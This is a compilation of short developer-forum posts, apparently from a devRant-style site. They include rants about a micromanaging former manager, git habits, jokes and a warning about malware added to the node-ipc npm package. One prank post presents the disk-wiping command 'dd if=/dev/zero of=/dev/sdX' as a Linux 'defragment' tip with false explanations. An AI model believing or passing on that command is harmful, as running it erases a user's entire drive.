Week 1 of the new job, and it seems I have some pretty low expectations to meet.

Seriously, I just did the math. Let's say one works an average of 48 hours per week, 50 weeks per year. Just as an average. That's 2400 hours in a year.
In the Micro-scale, a manager would mess up their team once every 2.4 hours (2h24m) or about 4 times per day (assuming 5 working days per week).
That is a pretty low bar to clear. It easy not to be an antsy brat that are-we-there-yet's a professional dev four fucking times a day.

And yet... that is what the complete moron who previously sat on my chair used to do.
Seriously, apparently he used to remote access the team's dev envs *while they were working* and even mess up some of their code. Just as a "monitoring measure". He logged their "keystroke time" in a day (using a primitive windowing method, I must add).
At least 7 requests for updates per person per day. I have his slack history, I checked. Dude literally did nothing else but be an annoying anxiety death pit.

And then there is his bulshit planning...
He created tasks out of his stupid whims, no team review or brainstorming, not even a fucking requisites tallying interview.
He prioritized those out-of-nowhere tasks using panic-driven-development practices and assigned them by availability heuristics.
No sizing method, just arbitrary deadlines for tasks.

I think I will need to have daily standup meetings and an open door policy (that is to say, do no actual work) for a couple months until I can instill some sense of autonomy on my new team. Shit.

Someone has another idea? How do I bring some confidence&autonomy back to devs that are used to be treated like dogs?!?

No, that "save as" dialog you made yourself is not better than the one built in to the OS.

If you just git add . by instinct, you're already dead inside

Instead, consider checking out the diffs of your changes before staging them, and then stage the files or directories individually

Of course I'm saying this to complain about my colleagues who stage and commit things they shouldn't, it probably doesn't apply to small side projects, but staging individually is probably a good habit to have

where's the IT guy..?

Same here..

Beware of NPM packages maintained by Brandon Nozaki Miller alias RIAEvangelist. He added IP-specific malware to node-ipc.

https://security.snyk.io/vuln/...
https://github.com/RIAEvangelist/...

..........

Literally!!😂😂😂

surprise API

Remember to regularly defragment your drives on linux. use this handy command.

dd if=/dev/zero of=/dev/sdX bs=1M

Terminology:
dd: Disk defragment
if: input file (the pattern to search for, and should always be /dev/zero)
of: output file (your disk, /dev/sda for instance)
bs: blocsize 1M is fine here

Where do hamburgers go to dance? The meat-ball.

Dev: Sam’s a little nervous about taking his paid leave. I guess it’s not common in Nigeria. He needs to hear from the company that taking time off like that is acceptable.

HR: THAT’S SO INAPPROPRIATE! YOU CAN’T ASSUME HE’S FRON NIGERIA JUST BECAUSE HE’S BLACK. BLACK PEOPLE HAVE A VERY RICH AND DIVERSE CULTURE, THEY ARE NOT ALL FROM NIGERIA!!!

Dev: Sam is from Nigeria. He told me so. He tells me a lot of stories from there.

HR: …

Dev: Can you tell me something about Sam besides his skin colour?

HR: …

Dev: …

And people complain I am rude to them......

Not me, but a friend of mines' first day on the job.

And then that girl became my Manager......

If LinkedIn skills were honest

“Think of how stupid the average person is, and realize half of them are stupider than that.”

― George Carlin

I am in the higher percentile. That means 95% of you are dumber than me! ;-)

If only you were as straight as you are now

So I decided to do this....hahahahaha

Do I know how to use flex? Mostly.
Do I know how to center a div inside a flex? Yes.
Do I know if I need to use align-items or justify-content for it? Absolutely not.

This is what I call marketing....

Architect of this building is so stupid. The toilet lights are triggered by movement. But they are not hanging in the toilet itself. Im wiping my ass with my flashlight on now…

REBASE BEFORE CREATING A PULL REQUEST

Especially if you've had to pull from main 7 times. No one has pulled from your branch, you have no excuse!

Just trying to login

Another project, another team, another shitshow in codebase.

Now instead of doing work and implementing long awaited features... few weeks of minor refactorings ahead, untangling unnecessary complexities...

... but mostly - explaining the team why their 12-months work is pile of shitty spaghetti, and how it should really be done.

Explaining basics to "seniors" is the most exhausting thing.

Put it in the backlog

Stumbled upon on Twitter ... 😜

I was paying GTA Vice City when i was in high school and wanted to make a game

I started learning Graphics, Video Editing, 3D and Coding for that

One thing led to another, now I'm a Frontend Lead

Is it truth or nah? 😂😂

Why do scuba divers fall backwards into the water? Because if they fell forwards they’d still be in the boat.